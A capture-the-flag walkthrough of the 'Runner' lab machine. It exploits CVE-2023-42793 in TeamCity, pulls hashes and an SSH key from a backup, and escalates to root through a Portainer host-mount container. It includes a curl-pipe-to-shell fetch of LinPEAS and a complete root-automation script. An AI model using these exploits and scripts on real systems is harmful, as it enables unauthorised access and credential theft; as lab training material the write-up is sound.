The journey begins by using a custom word list to find a subdomain running TeamCity 2023.05.03, which is vulnerable to CVE-2023-42793. This vulnerability allows the creation of a privileged user without authentication.
Next, a backup containing a private key is found, providing the first SSH access as a user. Following this, a privileged container can be deployed using portainer running on localhost to mount the root host volume inside the container. This allows the addition of the SSH key to the root user, ultimately providing root shell access so let's get started ...
Nmap scan
First, we scan for running services
nmap -sV -sC -v 10.10.11.13
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have OpenSSH on port 22 and nginx running on port 80
Web enumeration
Usually, we have nothing to do with SSH at the beginning so we start by checking the running web application. As nmap shows, we have a redirection to a domain so let's add it to the hosts file first
echo "10.10.11.13 runner.htb" | sudo tee -a /etc/hosts
Checking the website:
I've tried multiple things like searching for login page and directories without any luck.
Subdomain enumeration
At this point, we can try to enumerate subdomains.
Trying multiple lists, but nothing found as well.
I've decide to generate custom list from the website using cewl
cewl http://runner.htb -o --lowercase -w runner.list
Then use it with ffuf:
ffuf -w runner.list -H "Host: FUZZ.runner.htb" -u http://runner.htb -fw 4
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://runner.htb
:: Wordlist : FUZZ: /home/mohammad/htb/runner/runner.list
:: Header : Host: FUZZ.runner.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 4
________________________________________________
teamcity [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 85ms]
Adding it to the hosts file as well
echo "10.10.11.13 teamcity.runner.htb" | sudo tee -a /etc/hosts
CVE-2023-42793
After going to the new found subdomain
It's running Teamcity 2023.05.03.
Quickly searching for CVE's related to this version and found CVE-2023-42793
This vulnerability allows an attacker to create a privileged user without authentication.
Login as admin
Grabbing the exploit and executing it
python3 CVE-2023-42793.py -u http://teamcity.runner.htb
=====================================================
* CVE-2023-42793 *
* TeamCity Admin Account Creation *
* *
* Author: ByteHunter *
=====================================================
Token: eyJ0eXAiOiAiVENWMiJ9.NTNYRXBBR2Y4VklPUjdtRklfMUFTVzlwU0sw.NDFlNTI3NDAtY2NlNS00MjhjLWE1NjctODUxYjljZTFiMTA3
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_admincOUU
Password: Main_password!!**
Lazy to search manually? maybe have a look at poc-seeker π
Now we can login with the generated credentials!
Own user
Starting by navigating the admin interface to have a look at the available options.
By checking the users tab:
We have two users: matthew and john.
Also the backup seems interesting
Started a backup and downloaded the generated zip file TeamCity_Backup_20240723_060646.zip
First shell
Unzipped the compressed file using unzip:
unzip TeamCity_Backup_20240723_060646.zip -d teamcity-backup
Now we can start searching for useful files or credentials.
We have teamcity-backup/database_dump and I found the users table with hashes so tried to cracked them
chmod u+r teamcity-backup/database_dump/users && cat teamcity-backup/database_dump/users
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, [email protected], 1721728590539, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, [email protected], 1709150421438, BCRYPT
11, city_admin7wpk, $2a$07$4JVaAFwPWUWZvoPF9saUL.STvp2bwUCMcQfS3aX/7Ze5HCDGRIZm., , [email protected], 1721728607183, BCRYPT
Those are bcrypt hashes so we can try to crack them using hashcat.
Get all hashes using:
cat teamcity-backup/database_dump/users | grep -E '^[0-9]'| grep runner |awk -F, '{print $3}' | sed -e 's/^ //g' > hashes
and start cracking them:
hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt
Only matthew hash is cracked
$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em:piper123
Tried to login with SSH without any luck so I've decided to search for private keys:
find teamcity-backup/ -name id_rsa
This immediately returned:
teamcity-backup/config/projects/AllProjects/pluginData/ssh_keys/id_rsa
Assigning the correct permission for the private key:
chmod u+r teamcity-backup/config/projects/AllProjects/pluginData/ssh_keys/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAlk2rRhm7T2dg2z3+Y6ioSOVszvNlA4wRS4ty8qrGMSCpnZyEISPl
htHGpTu0oGI11FTun7HzQj7Ore7YMC+SsMIlS78MGU2ogb0Tp2bOY5RN1/X9MiK/SE4liT
njhPU1FqBIexmXKlgS/jv57WUtc5CsgTUGYkpaX6cT2geiNqHLnB5QD+ZKJWBflF6P9rTt
zkEdcWYKtDp0Phcu1FUVeQJOpb13w/L0GGiya2RkZgrIwXR6l3YCX+mBRFfhRFHLmd/lgy
/R2GQpBWUDB9rUS+mtHpm4c3786g11IPZo+74I7BhOn1Iz2E5KO0tW2jefylY2MrYgOjjq
.....
TxCwfxouMs0obpgxlTjJdKNfprIX7ViVrzRgvJAOM/9WixaWgk7ScoBssZdkKyr2GgjVeE
7jZoobYGmV2bbIDkLtYCvThrbhK6RxUhOiidaN7i1/f1LHIQiA4+lBbdv26XiWOw+prjp2
EKJATR8rOQgt3xHr+exgkGwLc72Q61AAAAwQDO2j6MT3aEEbtgIPDnj24W0xm/r+c3LBW0
axTWDMGzuA9dg6YZoUrzLWcSU8cBd+iMvulqkyaGud83H3C17DWLKAztz7pGhT8mrWy5Ox
KzxjsB7irPtZxWmBUcFHbCrOekiR56G2MUCqQkYfn6sJ2v0/Rp6PZHNScdXTMDEl10qtAW
QHkfhxGO8gimrAvjruuarpItDzr4QcADDQ5HTU8PSe/J2KL3PY7i4zWw9+/CyPd0t9yB5M
KgK8c9z2ecgZsAAAALam9obkBydW5uZXI=
-----END OPENSSH PRIVATE KEY-----
Trying this key against the previous found users and it worked with John!
ssh [email protected] -i teamcity-backup/config/projects/AllProjects/pluginData/ssh_keys/id_rsa
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)
....
Last login: Tue Jul 23 08:48:22 2024 from 10.10.14.x
john@runner:~$ wc -c user.txt
33 user.txt
john@runner:~$
Privilege escalation
Enumeration
I've hosted LinPEAS using python http server and fetched it using curl:
curl http://10.10.14.x:8000/linpeas.sh | sh
...
ββββββββββββ£ Active Ports
β https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5005 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8111 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9443 0.0.0.0:* LISTEN -
...
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:60ff:fe69:7150 prefixlen 64 scopeid 0x20<link>
ether 02:42:60:69:71:50 txqueuelen 0 (Ethernet)
...
drwxr-xr-x 2 root root 4096 Apr 4 10:24 /etc/nginx/sites-enabled
drwxr-xr-x 2 root root 4096 Apr 4 10:24 /etc/nginx/sites-enabled
lrwxrwxrwx 1 root root 36 Feb 28 20:31 /etc/nginx/sites-enabled/portainer -> /etc/nginx/sites-available/portainer
server {
listen 80;
server_name portainer-administration.runner.htb;
location / {
proxy_pass https://localhost:9443;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
We clearly have something to do with docker. We have to do SSH port forwarding as portainer-administration.runner.htb is running locally on port 9443
ssh [email protected] -i teamcity-backup/config/projects/AllProjects/pluginData/ssh_keys/id_rsa -L 9443:127.0.0.1:9443
Then we can access it using the browser on https://127.0.0.1:9443
First we can try to login using the default portainer creds admin:password but not working, tried admin:admin as well but same result so looks like we have to find another way.
I just remember that we have matthew:piper123 so I've tried them and it works!
The portainer version is 2.19.4
Own root
We don't have any container running. My attack strategy will be deploying a privileged container and mount the root disk of the host system to the container then add my ssh key to the authorized_keys of the root user to get SSH access
We have two images, I will just use the ubuntu one. Now, we can navigate to the volumes section to create a new volume called test with few required driver options
Driver options:
- Device: specifies the source device or directory to be used for the volume, in this case it's root of the host system.
- o (option): indicates that the volume should use the bind mount option. Bind mounts allow a file or directory on the host machine to be mounted into a container.
- Type: specifies the type of file system to be used. In this context, none is used to indicate that no specific file system type is required. This option is typically used with bind mounts.
Finally, we can create a container and mount this volume. I will name the container test-container and use the image id sha256:ca2b0f26964cf2e80ba3e084d5983dab293fdb87485dc6445f3f7bbfc89d7459
In the Advanced container settings, make sure to select Interactive & TTY
In the Volumes, make sure to select the previously created volume and set the mount point to /mnt/. This will mount the / partition from the host system to /mnt/ in the docker container.
Deploy the container and get a shell by clicking on the Exec console symbol in the Quick Actions
And we have the root flag!
Get root shell
We have the flag but the box is not owned yet π
The easiest way is to just add an ssh public key to the root user
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXpbJsuuzSvwpm+6ovoFqfrWDv9o3ppw/pTDUUZkhw67xL7....emKi2Ekb1ROxQAa8MG+C9rTOf4rtGFIMoIgYdtL/jt/Zvys+r66aIa6n+L0XfYo6Eyc= mohammad@mohammad' >> /mnt/root/.ssh/authorized_keys
Now we can ssh as root
ββ$ ssh [email protected]
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)
.....
Last login: Mon Apr 15 09:34:20 2024 from 10.10.14.x
root@runner:~# wc -c root.txt
33 root.txt
But wait I am not done yet !
Bonus script
Why using the web interface if we can just use curl ?
Here's a one click root script:
#!/bin/bash
# By 0xyassine
TOKEN=$(curl -sk -X POST -d '{"Username":"matthew","Password":"piper123"}' -H "Content-Type: application/json" https://localhost:9443/api/auth | jq -r .jwt)
ALL_IMAGES_DATA=$(curl -s -k -X GET -H "Authorization: Bearer $TOKEN" https://localhost:9443/api/endpoints/1/docker/images/json)
IMAGES_IDS=$(echo $ALL_IMAGES_DATA | jq -r '.[] .Id')
VOLUME_NAME='test'
VOLUME_DRIVER="local"
DRIVER_OPTIONS=$(cat <<EOF
{
"Driver": "$VOLUME_DRIVER",
"DriverOpts": {
"device": "/",
"o": "bind",
"type": "none"
}
}
EOF
)
VOLUME_CREATION_RESPONSE=$(curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d "$DRIVER_OPTIONS" "https://localhost:9443/api/endpoints/1/docker/volumes/create?name=$VOLUME_NAME")
VOLUME_ID=$(echo "$VOLUME_CREATION_RESPONSE" | jq -r .Name)
if [ -n "$VOLUME_ID" ]; then
echo "[+] Volume [ $VOLUME_NAME ] created with ID: $VOLUME_ID"
else
echo "[-] Failed to create the volume. Response: $VOLUME_CREATION_RESPONSE"
exit 1
fi
VOLUME_MAPPING="/mnt/:/$VOLUME_NAME"
for IMAGE_ID in $IMAGES_IDS;do
echo "[+] Using image Id: $IMAGE_ID"
CREATE_CONTAINER_DATA=$(cat <<EOF
{
"Image": "$IMAGE_ID",
"Tty": true,
"Cmd": ["/bin/sh"],
"HostConfig": {
"Binds": ["$VOLUME_NAME:/mnt/"]
}
}
EOF
)
CONTAINER_CREATION_RESPONSE=$(curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d "$CREATE_CONTAINER_DATA" https://localhost:9443/api/endpoints/1/docker/containers/create?name=)
CONTAINER_ID=$(echo "$CONTAINER_CREATION_RESPONSE" | jq -r .Id)
if [ -n "$CONTAINER_ID" ]; then
echo "[+] Container created with ID: $CONTAINER_ID"
else
echo "[-] Failed to create the container. Response: $CONTAINER_CREATION_RESPONSE"
exit 1
fi
curl -s -k -X POST -H "Authorization: Bearer $TOKEN" https://localhost:9443/api/endpoints/1/docker/containers/$CONTAINER_ID/start
EXEC_COMMAND='{
"AttachStdin": false,
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["cat", "/mnt/root/root.txt"]
}'
EXEC_CREATE_RESPONSE=$(curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d "$EXEC_COMMAND" "https://localhost:9443/api/endpoints/1/docker/containers/$CONTAINER_ID/exec")
EXEC_ID=$(echo "$EXEC_CREATE_RESPONSE" | jq -r .Id)
if [ -n "$EXEC_ID" ]; then
EXEC_START_RESPONSE=$(curl -s -k -X POST -H "Authorization: Bearer $TOKEN" "https://localhost:9443/api/endpoints/1/docker/exec/$EXEC_ID/start?detach=false&tty=true" | tr -d '\0' | sed -e 's/\!//')
echo "[+] root flag: $EXEC_START_RESPONSE"
else
echo "[-] Failed to create exec instance. Response: $EXEC_CREATE_RESPONSE"
exit 1
fi
echo
done
Save it as root.sh and execute
βββ(mohammadγΏkali)-[~/htb/runner]
ββ$ ./root.sh
[+] Volume [ test ] created with ID: 83b3907ab75e1bebc4025c102b1d18f6fc0bca1e671e1c182981ac15288aa143
[+] Using image Id: sha256:ca2b0f26964cf2e80ba3e084d5983dab293fdb87485dc6445f3f7bbfc89d7459
[+] Container created with ID: 09e47e1bdedf8cc77a850498b410ab5414e970a3fdb261ad0b8724c984f9e8bd
[+] root flag: 027a61edb8d3f778ac01b0c982376575
[+] Using image Id: sha256:e23afbc992ab916ef46d9fdbcb08d1adde86dd145c8f0ecb9bf44ac18783f285
[+] Container created with ID: cf35e5dccf50d4be7f7c5a21228c33375e053c1311a24af60dd3193159701614
[+] root flag: cat: /mnt/root/root.txt: Permission denied
Happy hacking π